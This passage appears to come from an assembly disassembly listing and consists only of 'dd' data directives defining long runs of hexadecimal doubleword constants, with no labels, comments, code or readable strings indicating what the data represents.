0CC7D1BBCh, 5B219708h dd 0D3443402h, 0A399BBEEh, 0F84C89A8h, 3F98Dh, 0ACC12BC6h dd 0F25501A3h, 619653Fh, 49C1798h, 40C41CC8h, 8C33473Ah dd 15AEB0DFh, 0D8C02BA7h, 3EBCDA55h, 22B91CADh, 6429C051h dd 5F09F639h, 1D731700h, 0EAE54BB2h, 72F0A0h, 2E9BAA76h dd 0E1D53F71h, 0D7837700h, 0C598B569h, 16D900CCh, 683CDE49h dd 0ED0E94C6h, 0A17BF2B8h, 93DBCBBDh, 36AC044Fh, 10D2D830h dd 7CF34D40h, 0AB730092h, 122DD326h, 0E200C63Dh, 5F33EAE6h dd 140A0E5h, 0B26FE83Bh, 88211A73h, 4C8D929h, 0C50FB474h dd 67568082h, 0B7720CA4h, 3E00FD7Eh, 0F913451Ch, 1DD21EF2h dd 818B2188h, 0AF02969Bh, 73EE20B4h, 4B5DB707h, 0AE601832h dd 0F063545Ah, 0BF47070Ch, 27EBAB52h, 0BEC650CEh, 0CC1F55EDh dd 0A4809266h, 0F22BDF44h, 0E5BE622h, 3C721696h, 7860F560h dd 19059AB6h, 0F15D65Ah, 9D4B00FEh, 0ACFE1D0Dh, 1ACA2406h dd 389543h, 2C4E398Ah, 0F1D049A7h, 0AC50053Ch, 0CA1C0436h dd 47837D00h, 5402B3h, 74FC4855h, 3C636EB2h, 49240FF2h dd 0CA00B95Ch, 30DFF996h, 0B275002Eh, 52FB1E7Bh, 68C07D48h dd 0FD850CBh, 5AE300B7h, 0C4721BCFh, 0DA007385h, 11D36D8Eh dd 0ECB61Ch, 4A616ECBh, 408DFC0Ah, 3209700h, 78926FE5h dd 544400F0h, 7E32EFF1h, 5200CA16h, 0E7797288h, 1C4B6A02h dd 0C0A7B5E9h, 27A666BBh, 1028C08Eh, 0DF1889EBh, 0A31090DAh dd 74FB00E5h, 738DF02Ch, 873B71F2h, 8B80969Ch, 4D894900h dd 0C16D28h, 35AE6117h, 2999C967h, 1B56EC00h, 54E45F25h dd 6A09093Bh, 0AE008EC7h, 0C27414FAh, 383C3049h, 0D7D000DAh dd 0A3ADA23Dh, 0A9650040h, 0E0F1FFE5h, 7907A61Dh, 903516ACh dd 80BE56A0h, 0AF4400EDh, 0F173709Eh, 3100DACFh, 55C3E777h dd 6F25C7h, 1EA7D98Ch, 344CCC5Fh, 11972A01h, 0BCFFE0BDh dd 60FD789Ch, 8018A738h, 3527A451h, 303154DEh, 4DA2CB5h dd 0B43DDF2Ah, 291B8072h, 20C40623h, 0A47C00D9h, 0D608ECBBh dd 0DE00EAB5h, 0C0610F98h dd 98DF8E9Eh, 0CFD10073h, 39D92A10h, 80F926A0h, 4920C010h dd 0E53CA5h, 6C77F5F3h, 0A0AA12D6h, 3D070300h, 66465860h dd 5FC50C84h, 1EB0CB9Eh, 0F9D2FE00h, 0C8EE0F6Fh, 396000FCh dd 7ABA318h, 691D4D5Fh, 8B806AC6h, 7E928004h, 0B99D005Dh dd 0C230EDCBh, 0CD002E98h, 0BE8F2093h, 3299CEFh, 5F56571Ah dd 71E02BFEh, 0EA009FDDh, 1087EB2Ah, 370CD50h, 0D0553DA5h dd 68000BABh, 7F4E3E3Ah, 7C192Ch, 81CE9DC8h, 0AAEAAB51h dd 9E976500h, 13C9BC85h, 7AE40CBBh, 4E2184B0h, 3D9D8D00h dd 1EFCEB22h, 0DFE40090h, 0CB8EF2A7h, 0DD002998h, 2694F17Ah dd 5F3855h, 63D3D4E1h, 1646EAC3h, 173D39h, 2627191Bh, 727EB6BFh dd 0CDB26B4h, 51349868h, 7B01131Dh, 9AC4D833h, 0E0CE9094h dd 26AA01E5h, 800C6339h, 645F18EAh, 0F1F2DF52h, 45D76A00h dd 244AED1Fh, 62E640h, 0AEFC2B4h, 895B9DF7h, 188103Ah dd 21FD71A2h, 48EB8753h, 5A0048E0h, 0BB889594h, 0C41A12C0h dd 0F799B5A6h, 9C1C7B41h, 0BBC0A779h, 0E747EF9h, 3C5249FDh dd 1E0ACE83h, 928B05E8h, 55C0FE0Eh, 0DFFAE065h, 5199F57h dd 84EF40D7h, 13BFC0D5h, 74E88292h, 9448FC7Dh, 0CC508094h dd 0D49BB5h, 217CDF37h, 4F6F0A66h, 0D2FDB700h, 7F08A8A1h dd 0F578C02Bh, 769A9205h, 89685A00h, 0D0972F44h, 0CF5103DAh dd 4D5E86ACh, 0E11E0DD0h, 45E6BC00h, 7E8B814Fh, 0B0F35441h dd 841B0208h, 0C01F8A0Fh, 87E0086Bh, 3F3D6FFDh, 0DB3A0375h dd 48AF770h, 0CE6D7C66h, 0AE08D15Bh, 79500801h, 6B19013Bh dd 0E85CEDB4h, 30A88A29h, 0E6008E0Ah, 7170C7DDh, 0BE522842h dd 0E05700D0h, 0EEA44010h, 4E073F8h, 0B74D9802h, 0C0E783EBh dd 13F99A6Ch, 7529E9h, 0F049ED90h, 4F000214h, 0C4F6778Fh dd 91260A6Ah, 920F024Ch, 0DC805AF4h, 497C2DE0h, 661840B2h dd 9DF9E6E1h, 0A7D721Eh, 36B441F1h, 0EE1A01B8h, 872A5134h dd 16887EB8h, 13554990h, 0C2CF0089h, 9172A21Dh, 360E0EE8h dd 8086114Eh, 0F644E1E7h, 0D2733BEEh, 5D3AC8BEh, 0EFAA2285h dd 3CDC9093h, 28EE9FC0h, 2C4D1A24h, 48F8409Fh, 0BC5060Ah dd 3C886CE2h, 0F180D751h, 8E25B2CCh, 8D00AA39h, 9CBA06E4h dd 424C556h, 0E0ABD742h, 39F0D87Bh, 0C0DB4900h, 9660BB61h dd 18D89888h, 0F997BA12h, 240F9982h, 32E98F3Ah, 0D80E840Ah dd 54104C00h, 92CFEF20h, 3488006Ch, 981B4A5Fh, 0F6031C05h dd 77DB5D4h, 0EED014DDh, 24B01856h, 0E600E953h, 7CD4E1Ah dd 7E70FB2Ch, 0A1BE0A64h, 80B8F8E7h, 1E04224Dh, 1C060880h dd 0E9DD8248h, 7BC05A9h, 156AA2Ah, 700B5894h, 0AE60CE74h dd 3500915Fh, 6F49C65Dh, 924F9506h, 0FE671D48h, 23F2C0D0h dd 0C548E8EDh, 523DC616h, 0E40C1439h, 0F94B2B7h, 59E1BAC2h dd 69AE0940h, 0F33BA18Dh, 75128083h, 314D1F32h, 3A047A60h dd 3F800A2Dh, 0B4B80E4Bh, 1B00C5CAh, 499F756Dh, 0E7E28Eh dd 0BA10E453h, 0B0E6968Ah, 7418981Fh, 416D2000h, 3B4FADAh dd 0D6D92502h, 0A4D0C9E0h, 190058A9h, 0C64A9F8Ah, 0FE44BC2h dd 6CB16A80h, 0C0A23905h, 0EEF3398h, 0B5277E07h, 0C06FF78Bh dd 864A4B98h, 0C4C00FFCh, 1C008AD7h, 463A8812h, 0CFA7BC05h dd 0E0402A62h, 0CDA9040h, 0DC544896h, 6D84157Fh, 0D300C08Fh dd 0BD267172h, 0C400FFFBh, 3E929748h, 0AF252F3h, 9C08EE03h dd 4160058Ch, 0F5D3C276h, 0C056ECA5h, 14936A5Bh, 6E4DD31Fh dd 8792E345h, 85A090C7h, 9004BAh, 0C6E8CCAFh, 0A5F50A7Bh dd 0E9158A1Eh, 15B4B00h, 48FC99h, 0DAE77E38h, 0B2CDF41Ch dd 6C71F52Ch, 2149830Eh, 0D3BCB9CBh, 0C4BDD8h, 0A54F063Dh dd 306586CDh, 0D2E9E9C0h, 1C22879Fh, 258E0B3h, 0E1D768DBh dd 99F6DE00h, 2DF00003h, 0BE5FFF41h, 0D77BC42h, 3E40DC64h dd 40B9DC8Ch, 2700345Ah, 2B56EACCh, 1352414Fh, 4089A6F4h dd 0E80C23DCh, 34968AD1h, 7B801001h, 0B822F7EAh, 0B8D0F939h dd 5C3C90B6h, 48009043h, 678DC525h, 45205749h, 61271DA8h dd 0FEB401Eh, 0DD87A7Eh, 0EFB5D50Ch, 9190A1DBh, 2D7462C4h dd 0DA85AC60h, 32C9E9C1h, 0C026FA31h, 7A892081h, 538F051h dd 0BA4BB100h, 4F5E0F76h, 0C4F85DF1h, 0A48E2Ch, 3505B708h dd 0E780DA0h, 58D05600h, 0A560E514h, 617A60B0h, 0EB10F1DCh dd 0C931563Fh, 0E127052Ch, 8051B2h, 0EA5BBB1h, 2A08AB1Dh dd 5FA1FC3h, 9608C8FDh, 39DDF9FAh, 0D7BA14C1h, 4C288DBEh dd 0B4406788h, 0C00771h, 0F587C648h, 7901155Fh, 3D85950h dd 70253226h, 5AAEB500h, 0F8083153h, 2FE60CA1h, 6D8464Ch dd 0E06FB10Ch, 2CF7CA97h, 0FC9EF2h, 0BD4A09A4h, 0A100B750h dd 89B30471h, 5D95C106h, 812E18C2h, 0ACA1608Ch, 0B00FE33h dd 60B4D286h, 0CA09920h, 353C2784h, 0C4AEA288h, 11DCDE0Ch dd 3B1064h, 16F5D998h, 99F0BC51h, 5E8E7017h, 0F4C0F201h dd 0E2C47137h, 0C1692E1Ch, 0A1EE045Ch, 0E0CB72h, 64C55DB3h dd 0F65FB0h, 0E7BBE81Eh, 0D3BFD511h, 34912814h, 1F8C0790h dd 6A40F8F9h, 2728E9Ah, 0E2E33C49h, 0D0800638h, 78D96B35h dd 5B00C89Ah, 2FAF13CAh, 16C407EEh, 409476B8h, 0A93A5CF8h dd 471EB361h, 0AA8180CEh, 1618423Fh, 5CE003FFh, 0BE75EE53h dd 95ABCBB0h, 0F67A8E00h, 68A6BCB4h, 0C9EA00FCh, 0B7DD7678h dd 0AC92C7F8h, 2A005475h, 457F861Ah, 0B83CC94h, 0AB019D1h dd 0C792A825h, 80ACDA87h, 2E99A7E1h, 3DF8B2D6h, 0A2810B60h dd 0DE4A8Ch, 0ADC8FDEAh, 9FA94616h, 4D753E0Eh, 0B2638006h dd 0F1AB69EEh, 540E4024h, 695ACA1h, 0ACAC6F9h, 63E9947h dd 97CB89DEh, 6F10A3EBh, 50391D38h, 0EE30A078h, 973C30CCh dd 49E7003Fh, 0A3ECC0D5h, 393A01C5h, 428B00B6h, 5EF64DF5h dd 0AFD013FBh, 8D800037h, 26EA9770h, 0B48549h, 1F2C0B32h dd 0DDC62Dh, 0A7C5941Bh, 0C7D49763h, 4C90717Bh, 0B3A51100h dd 7F360BD7h, 67D0008Bh, 4352A05Bh, 217B9062h, 8A05A603h dd 0B0AB3C86h, 41AFD6h, 0AEFD7DDEh, 1A8CD799h, 0FB0705E6h dd 1C3B6AD8h, 4504BB0h, 2A0100D1h, 3A5FEE17h, 0C4030E4Fh dd 0F0E226E4h, 8A2FA794h, 2E00B0BBh, 4373599Dh, 0E1393D13h dd 0BC908E00h, 98BBA84Bh, 0E900009Ah, 0B66CAF44h, 0A0DED984h dd 0C109B3h, 0C3DB69C9h, 0C52E3D78h, 6CFE1000h, 0F9571AA6h dd 6E9600A9h, 5F4FC6E4h, 0F104A8BCh, 42316DBFh, 18D447C0h dd 60FE23h, 40070A16h, 0E78AE81h, 8735A000h, 2DF5D625h dd 5C0D0064h, 72CACC76h, 0EC00CD1Eh, 0EA8FC656h, 105948h dd 0C8465D19h, 1AD31899h, 4CC9BB00h, 0F4840FD8h, 29A80108h dd 218068F1h, 0B8CDC8FBh, 0CF029804h, 8022A7h, 7AAB648h dd 0D264BDA9h, 5461306Fh, 420F1BA8h, 87624413h, 4B204023h dd 2AB09D9h, 3763D3C1h, 5CE05036h, 27017961h, 0F675A2DCh dd 0E8DCC8BBh, 4BA600EDh, 87C28D6Ah, 0C500E399h, 0C923DED5h dd 17FFD7Eh, 4A43D9ECh, 0CC4CA147h, 0F30381F1h, 14D5CB3Ch dd 9309A891h, 0F6C10117h, 7AC696F4h, 5F0BD032h, 58F558h dd 785A3876h, 0F13E4Ch, 2EB7FFA1h, 52F7029Ch, 0FC042700h dd 0B5636B89h, 751D007Ch, 0BFE784F3h, 3607B79Dh, 9B2DB47Ah dd 205BA590h, 0D50E0BB6h, 8B8138C5h, 64223F52h, 11032C98h dd 0FF9BC7Ch, 0C9E3C057h, 33145896h, 48803C3Eh, 4A569482h dd 8AE2CA0Fh dd 9217A778h, 700AE21h, 0ED7F7063h, 0CCDD0050h, 0D857B956h dd 0FB0910CFh, 0C0D2C819h, 49BEA4FCh, 1F01D489h, 0E12410FDh dd 755474F3h, 0D5BB8600h, 0E4B74A71h, 0C0CF070Bh, 61B8FC19h dd 0CC3CD24Bh, 0A600F267h, 0C4BA638Bh, 77BFD9Dh, 944DEA57h dd 12B305Ch, 0A9033829h, 0B4B2EBA2h, 249283FFh, 0A480E8h dd 0B5E73EE0h, 4300888Ah, 3B8698E8h, 78E5FC0h, 0CE3AE696h dd 0FDBB608Bh, 0C500689Fh, 8F655A78h, 1D39513h, 0AE5954C4h dd 0CF7536BAh, 0F657E804h, 1B41D1B9h, 0F0ACD786h, 3000C065h dd 0B59DAA41h, 0FFBA75Bh, 9ABD1188h, 3D946B80h, 2C033F7Ch dd 4B427108h, 3AC5C0EEh, 0AED0BF77h, 0FAE4BC00h, 34EFD3DFh dd 0A05F059Dh, 819308E2h, 0C054561Ah, 48C17077h, 99E735Eh dd 0DF41DCh, 0C88E63C6h, 1B9B4411h, 0AD064000h, 1B2B70Ch dd 46FC0E5Bh, 3E60CC43h, 3A7F6732h, 2514971Ch, 0E4C2DE40h dd 16019C17h, 0D67A38h, 6434C75Fh, 3A710714h, 35074E76h dd 7AEF7645h, 0AD10E9C1h, 9F750E8h, 71AC3E8Eh, 0B72EDC00h dd 0A25C6E2Ch, 0B8EA007Dh, 0FF900DAAh, 9A70059h, 209C2754h dd 4F0B52CAh, 631607CDh, 0D3F198BCh, 1FA12C7Eh, 11E38038h dd 23015DB2h, 5A048272h, 24287841h, 565BB8C7h, 51560714h dd 666C908Fh, 1C281372h, 8B2E080Fh, 0C824BCBAh, 0B6257900h dd 251CFA54h, 60002886h, 0EAA6124Ah, 1E904000h, 395A0881h dd 3CCA5C61h, 9138E001h, 0BC11E8B5h, 8FD00030h, 552BF004h dd 0F790ACh, 7CCBD62Ch, 8936CC4Eh, 48902E05h, 96815EFEh dd 284859F7h, 26913C08h, 0C530F601h, 50DEA2B5h, 0FE65C80h dd 5504BC07h, 3E8392C8h, 0E01100E5h, 791E502Fh, 0CC054BF6h dd 0A89E5149h, 2AC5D0D7h, 42966800h, 74EEA901h, 4AA7003Fh dd 4B40A89Bh, 0B2019C2Fh, 0DC5EC3D0h, 1CF0DE42h, 6C9A1847h dd 0AC72A174h, 633A7300h, 1819E289h, 6A763DA9h, 0A90BF498h dd 0D97BB949h, 0E0350A00h, 2169FA39h, 0E3EE30A6h, 4A1422C6h dd 0A1D1B11Eh, 709A4C03h, 32A8010Eh, 0C87564F3h, 7A2DF0C5h dd 4DE53Eh, 0A59C47C1h, 0C7DE3Bh, 2F9AD45Ch, 0F2724C03h dd 0B9CFE31Dh, 3DE81483h, 48A5980Ch, 53601D91h, 9B154A2Ah dd 1A178284h, 34403AF6h, 9E057458h, 94D9E746h, 90434184h dd 0F0455D4Dh, 5E2978h, 22141230h, 63E6E37Dh, 705AC1F1h dd 640E01A5h, 98708546h, 1CE5310h, 9AE1D50Bh, 8CF9CCA9h dd 20664B09h, 3E0BFCB3h, 0BE8C4C65h, 0FC39602Fh, 1A341001h dd 173E846Ah, 304138C0h, 0EBA842F2h, 0B8005CD1h, 0FBFF4EE3h dd 0D127382h, 59BCA617h, 33C4E040h, 0F3E83600h, 0DD7F7162h dd 8F08CC3Bh, 3A009B21h, 9E0F5936h, 189594AEh, 8074CF50h dd 0D30012F8h, 7F4713F0h, 0F8737B81h, 1C577F55h, 0F0292E2h dd 1340F4BFh, 2CAF36FAh, 85050404h, 0F0005D78h, 0BFA3E8CDh dd 64A05103h, 0D069D112h, 3F31CE99h, 3C02FEE4h, 0F4977395h dd 0C0CD3C85h, 85F253C1h, 0DB7D5901h, 0D2314D73h, 0B9948BE5h dd 9060C395h, 0B29BB767h, 0F9F77B00h, 97A655ABh, 5287155Ah dd 952FA47Eh, 75C20C0h, 57853718h, 0F6872B19h, 9D1800CBh dd 0BC7AD0A6h, 59006E5Eh, 0C31F7688h, 0D711EDh, 0BDDD8FA4h dd 51861999h, 6218D0A4h, 0E9897EDEh, 0CAC1C0A4h, 60E319A8h dd 4F31D600h, 6323F8AFh, 7DA90C6Dh, 763077C9h, 0A33FBE07h dd 5A21C150h, 8951191h, 0D800B47Ah, 36C63FAAh, 6061F9D2h dd 4620DDF9h, 309CA4E4h, 10891C30h, 2E035EFDh, 0D89E4DCAh dd 0F385EB8Eh, 0A139E6F4h, 0ED19BC0Ch, 75C56B36h, 20900C62h dd 0C63634F1h, 4E75D00h, 0D5721441h, 0CE953145h, 600E9EC1h dd 0E7F248E8h, 8E018100h, 0DC6726B7h, 2CC7FA36h, 0CB1169h dd 2B20C4Eh, 5D091840h, 21798CBDh, 951D6610h, 36E6C4h dd 0E07F50C3h, 720EEF04h, 19DC893Ch, 64901845h, 74E7E520h dd 31303766h, 857C541h, 0F8CBA8ACh, 0A9502B72h, 208011ACh dd 69CF00D1h, 0C4194B15h, 95189944h, 16207643h, 85E703AFh dd 66F8D239h, 0C4066928h, 0B0885BF8h, 31856F38h, 0B1AE2C00h dd 0B912B803h, 804067E9h, 0E7CAC45Ch, 73F20334h, 30870B2Ah dd 9E8BABBh, 9F0EF605h, 40579606h, 63A3FBE7h, 6461CE31h dd 0CB3AD8A4h, 65A8C424h, 4E1DEF30h, 53D81900h, 63B869E7h dd 54AE49DEh, 4CFA870Ch, 8D6080D9h, 0DD9B1A71h, 18831686h dd 0C1F80007h, 53375223h, 1E76A998h, 0F363CD15h, 0FE0F7B50h dd 6834DB6h, 1F6018A7h, 4302FDE9h, 9EDB7C64h, 0F405ED90h dd 0F0919573h, 13E47000h, 3B737C11h, 52864DFDh, 0F0DA75C1h dd 0A5023B46h, 0A2E1BE0Ah, 21BE6E31h, 470B17FAh, 347103ADh dd 481F940Eh, 0D081DDDBh, 0AF825E65h, 66EE788Ah, 2F8180CCh dd 12E343EDh, 6BA05000h, 0C2537C5Eh, 889324E5h, 0D5958014h dd 3D26F23Fh, 4800247Ah, 2B22E8FCh, 50BFE485h, 245F8064h dd 49047E81h, 41824C06h, 9AC44F05h, 0AFE0D4AEh, 7433040Bh dd 0AB98E06Eh, 3E4C9903h, 94B03868h, 0FD503Ah, 99D837CDh dd 67902C65h, 0FD649AC4h, 0FF300C8h, 6163DC2Dh, 6774B180h dd 0FB3C982Ch, 3950018Ah, 0D0FFCC80h, 2494E8h, 7A5764ECh dd 9907475Bh, 0A60025FCh, 3316265h, 0D3DE73h, 6C2D2985h dd 0CA05C6D8h, 20432700h, 0B03E6D76h, 4C4FE224h, 7A119Ah dd 0D0B65712h, 0F3849083h, 3C445000h, 0C8A9CFD4h, 0BE5D0687h dd 2817E0C6h, 0A233CA00h, 88111E6Fh, 9ED41FBFh, 93A50075h dd 56AAFD16h, 87C15700h, 0F67CAEFCh, 30EF6E8h, 0BAA20CDAh dd 0E4C86B68h, 21002774h, 0F8538637h, 183648EBh, 195F2CF3h dd 9700343Eh, 16296AABh, 0AC49ADh, 189B4492h, 37986FC1h dd 4AC6C70Ch, 1A2990Bh, 0B0C5BC4Bh, 9FD9BB88h, 6A586F70h dd 26CEDBA8h, 2413364Bh, 40A61FC3h, 0D67B7127h, 0CA07B57Ch dd 0CB286C13h, 93165740h, 96AA003Ah, 0CF0CCE2Fh, 0E6006E71h dd 642CE16Bh, 0C330568Bh, 32A43D58h, 67CACBF8h, 6899E607h dd 44B1E2F7h, 0DCC47828h, 342F1CEAh, 0AA003D8Eh, 8B141943h dd 1252D5A3h, 4CA0FE04h, 0EC007DD7h, 5A86154Fh, 0C329EA4Ah dd 738B4820h, 31001DEBh, 53E5D2F2h, 310E5F9Ah, 0B60993D8h dd 5220828Ah, 600AE47Bh, 7162C35Eh, 0A24D0009h, 0A4EFAA8Bh dd 6E1D34EEh, 8130BA74h, 1FA6D23Ch, 39C4E55Dh, 0EDABF106h dd 0F03711Eh, 0C7A880F6h, 0B1310322h, 0D529E79h, 7B61ACE0h dd 15C57F11h, 566ADC00h, 5A521349h, 9562E702h, 0C0EAE4CAh dd 0DFA83E83h, 0CED100B1h, 26953275h, 3840D201h, 36A8073Ch dd 0AFFE698Ah, 16D48090h, 0B2D19BBCh, 1994B901h, 777B9D8Dh dd 448B5085h, 0BDA440FAh, 18998FAEh, 74E70B00h, 6A50476Bh dd 0C060ADEh, 0C4001E6h, 7B6937BBh, 22803F07h, 0AE104A19h dd 711AFC8Eh, 539F072Fh, 3345AC6Dh, 0D8A8810Ah, 3B1D387Ch dd 20061551h, 7811A5h, 0C4CE5D75h, 2768D921h, 70D64F00h dd 8B0FD0CDh, 184176F3h, 31A0C6CEh, 0DB13F635h, 80034F76h dd 7F5E5697h, 20136008h, 6BDC2A0Ch, 28686100h, 0FC80DB54h dd 0A79E00A8h, 1C387FAAh, 4B2A5A35h, 0BB78FCEFh, 4AB3D1C0h dd 7BFB4C5h, 0A7924257h, 5B198093h, 5905C809h, 288F20F5h dd 1445F280h, 0D6CD2806h, 0EEC318A0h, 4B9751EDh, 0D3813E00h dd 5FCC9FA9h, 0D6660025h, 0CE868402h, 3D00A1FFh, 0BC833FB3h dd 0FC9DFE3h, 0D15D3A7Eh dd 701021A9h, 5A28561Dh, 0F8000851h, 52E6A1D2h, 0C35043D1h dd 0B12505F1h, 0F5A6409Fh, 1600539Ah, 79233E62h, 244802C5h dd 12282F07h, 341020BBh, 54007A17h, 836EDDCFh, 8A14DEh dd 3E88D2F1h, 0EEF72F92h, 0AF7DEB00h, 5B05119Eh, 0C39CA02Eh dd 83E844EDh, 6BDB1B00h, 0CBB2738h, 0B2E4E992h, 253C02D8h dd 0C6B13481h, 10713044h, 6B9D3Dh, 3DD2A444h, 738F34h dd 4C6C303Fh, 93CE2AB8h, 9044BAECh, 0E3DD07F5h, 60B39F89h dd 5B20F9E5h, 968A8002h, 4C5E9EEBh, 0B51D1A18h, 6CB038B4h dd 9A0020DCh, 70712958h, 95FB92h, 0C979A872h, 822E23DAh dd 78BF804h, 0FE463BA7h, 870049A6h, 0BD916803h, 1321A7Dh dd 9DF0630Dh, 2023B32Fh, 0CD244304h, 0A2C050D2h, 464EAADCh dd 2C142296h, 0A36610h, 2432373Bh, 252952E0h, 3EE844h dd 218E3982h, 90436BFDh, 0EB853E60h, 6D235680h, 44DDE419h dd 3BE1BCFFh, 2B880CBh, 0D7A45F8Dh, 1AFF801h, 651406Fh dd 0C8C8E242h, 3744BAB5h, 0E4731E50h, 1BBD005Fh, 0B3209735h dd 0E2240B00h, 913F4E4Ch, 8D5B24C4h, 8BC4386Ch, 0A698AD00h dd 59CD10C5h, 0DF600ABh, 0AED6BAA4h, 3A008A90h, 0B33565BEh dd 1323C29h, 0FAFB1088h, 0E09DA999h, 0C3482CB4h, 580096BCh dd 0A8FAEA42h, 0F79A0051h, 2946031Ah, 0C7000513h, 1C4424B2h dd 2FA232h, 0A9938996h, 0C3F611B1h, 1B785602h, 4166BDDCh dd 18100988h, 23EBF62h, 12A801E0h, 0B8C0B98Ch, 2F5B026Ah dd 0DC871D07h, 0EC98D99Dh, 0E360C573h, 2E968299h, 0C2EAFFh dd 8EB74E14h, 0CEEC926Bh, 35416507h, 2C64166Dh, 1B4CCh dd 0BEDE9761h, 0B6498E89h, 2091CC00h, 22FECE0Ch, 427E00EAh dd 0E660A16Bh, 0BC24123Ah, 0A76F3440h, 6CD0135Fh, 24A4E43Dh dd 6B447F6h, 0B01C4F10h, 0E2939E2Eh, 34EFF405h, 0FDD58003h dd 0F306E95Bh, 0A3B030h, 0CF4F24EDh, 0EEFB01Ch, 0CB351913h dd 42085043h, 6E6DA94Bh, 92A42C20h, 14BC3B58h, 88F3B980h dd 0B21C933h, 0EE888150h, 3CC75B88h, 0E900CBB8h, 0D385EC6Dh dd 380E6570h, 9DF8E7CFh, 0BA7E43C1h, 7F00A32Ch, 41072FDBh dd 0C8E40E14h, 0FD630581h, 0A855A1CCh, 56D5D4h, 3F6A7AB7h dd 7651D906h, 88B5FE2Ah, 170F9B01h, 1F3A7049h, 0FF1B88FFh dd 86713A2Dh, 0A279A580h, 54FDB46Bh, 0A1FE3218h, 4C278F39h dd 6A000F5Eh, 0ACB12A85h, 0BE07A3C8h, 9FDFA03Bh, 7BF33230h dd 0A092CAh, 40199253h, 0E234B77Ch, 86571018h, 24289CC9h dd 160F243h, 369F1DD6h, 75388ECDh, 5A93A042h, 58DA69D9h dd 756C02h, 0B99B5823h, 0A9A7D0C8h, 0B8502700h, 1E8F7534h dd 0D78C0743h, 407ECC12h, 4FC8EE69h, 597438C1h, 87CBA238h dd 0C1E0F89h, 14CD49A8h, 0FCCF1F0Eh, 0D1A58D02h, 18937579h dd 4E2E6DA0h, 0B30CDE0Ch, 0F8EC11Eh, 56574C4Fh, 5AE101C0h dd 0A8005F6Ah, 5542F93h, 1238373Ch, 299060h, 0A662A018h dd 2C007E9Ch, 882F81E3h, 16A7CE50h, 0C13FBA1h, 22B87300h dd 1475FAF2h, 3C95BD05h, 9C08E9ABh, 0A286BE21h, 11870C90h dd 24AC8B0Fh, 89E4025Fh, 0D06C1Bh, 9DBE33E5h, 77E9B4F7h dd 0B9930700h, 917B3717h, 41DB1640h, 2066168Bh, 0E55CF2ACh dd 6F9A750Bh, 0EAE49909h, 0E5A50C10h, 7881D226h, 3AC80106h dd 0FFC0089h, 6936B546h, 0D4032E7Ch, 0C637271h, 43C38C55h dd 5090947Bh, 0D4653h, 4FAE3D4h, 96976EB2h, 19564E00h dd 38FF4BE5h, 995A0724h, 0D6A16451h, 327DA11Fh, 6CA01E90h dd 80FF72E0h, 0F1715E18h, 308D2C60h, 0B490B2CBh, 490AD69Ch dd 88CE2638h, 0D2858F81h, 0D83354A8h, 8000113Eh, 0CCC74348h dd 1500F6BCh, 8A9B538Ch, 170BD94Dh, 1E6D4B8Bh, 2B002120h dd 5AC1DD06h, 5DFA3A6Ch, 77AC3E85h, 67508092h, 261D29C7h dd 7B0CA7A0h, 2039D0h, 0D1C63E60h, 3848406Bh, 0D94BB000h dd 0B376F280h, 30C8644Ch, 0C96F40FEh, 0B572CCh, 5954B5Ch dd 903F9E5Dh, 17222A03h, 0D8105038h, 7CB5275h, 65BE036h dd 8416C7Ch, 91094C17h, 5AAEA400h, 8FD813h, 0C8B39745h dd 3FC4387Ah, 18A7FB00h, 7CF8DFEDh, 9735Ch, 0F716D0AFh dd 0C65E71Fh, 9048600Eh, 0E122200Eh, 1B7447h, 0C6818E5Dh dd 0C77C3F68h, 1FB85A0Eh, 12834027h, 14D222h, 0BFEC16A3h dd 94A74532h, 7D0B18C0h, 1D63F34Fh, 81F99EB3h, 0D28C1C69h dd 0D024E1AEh, 6C1D1293h, 6803286Dh, 1D9542h, 3FD3D550h dd 524A2F11h, 1A67DB03h, 8847156Ch, 2D7712h, 0D8295D0Fh dd 89316820h, 0F67389C0h, 62D1CFAh, 13D65665h, 5C300855h dd 2ED12020h, 30690FFBh, 0C680415Fh, 38F2B4DDh, 83119200h dd 0A98BB705h, 21CB30FEh, 0AB3532A0h, 2F7A2D01h, 6CD32C62h dd 795C0EE0h, 0EF930137h, 94ADE840h, 0A2D1803Bh, 0E2A61ACBh dd 99AF602Ah, 86215B7h, 552FD0Eh, 7D1B004Eh, 11555Fh, 19CA6C76h dd 0BC3F6D94h, 0B7AE6407h, 1440A112h, 0F0ED4942h, 462102CCh dd 246B3067h, 0F09F0341h, 0E500127Eh, 411C370Ah, 0FE1FFE8h dd 1A5D6BD6h, 880FD4Bh, 200F12BAh, 8E7E20C0h, 29C3623Fh dd 6220A018h, 26306CA3h, 0C9B7601Fh, 7E5F8B3Dh, 88A6A800h dd 7C335225h, 2185602Ah, 0C7C092D9h, 13918D00h, 64B53987h dd 734C0134h, 0C89A1BCCh, 0C5945023h, 0C6009B3Bh, 9555F62Ah dd 1E090690h, 9CABFC3Dh, 0AFC6AE2h, 4BDD0AA9h, 0A6A500B4h dd 0A7C21CE7h, 7F73FF0Eh, 6D86FAFh, 95935C8h, 36537542h dd 0CC606F80h, 7174ADACh, 7B214960h, 8B4067h, 3416FD4Eh dd 0F6F1E6Ch, 85188E7Eh, 7029829Eh, 2CC152D8h, 0F1531C01h dd 0B697DE4h, 53627800h, 0E037559h, 3214A9F0h, 4AC24DCh dd 2A7F20CCh, 3C33548Ch, 4DA379FBh, 0F61FB421h, 0D335FB41h dd 61808EC1h, 0F2AD7D14h, 46375E5Bh, 5CC0281Eh, 39B7B13h dd 0D6721612h, 0E2991B99h, 40808A39h, 0FF009C70h, 6857BF49h dd 984BF31Ah, 6DC040C8h, 644D9DDh, 11A9E226h, 2139810Ch dd 0B87EB013h, 1D941D25h, 85C53FD9h, 138A98Ch, 8BF51654h dd 0AC28817Fh, 0EDFA307Dh, 9BB23980h, 0A62382DEh, 0B362B0Ch dd 0C55C08F6h, 0C0C45421h, 0F3DB963Bh, 416C9700h, 0A5E61611h dd 0D370765h, 0F559E22Fh, 23702F67h, 45070325h, 70007DA6h dd 0C7CA3947h, 0A06D42h, 5737661Eh, 5F5D4A65h, 23168970h dd 0B0007236h, 0B85B0C38h, 1B220C48h, 0F2F11F54h, 9B2D9400h dd 92CDCEA8h, 0CC763A9Fh, 5F211B30h, 0CF0E2C5Dh, 0A9A91FBFh dd 9E38AAE9h, 0DEC69930h, 0A36B0059h, 72F01F73h, 0DDF8B1A2h dd 1015C0A1h, 5275F76Ch, 4022CCA5h, 0C06190C8h, 0A8B52D96h dd 0EA309E46h, 2D7F5979h, 7253C401h, 0ACE3C3B8h, 1D1EC4Ch dd 11CBAD3Ah, 40311034h, 0B964D6B8h, 0BF6BCC3Bh, 9C3A2479h dd 1A60C364h, 0E5512B53h, 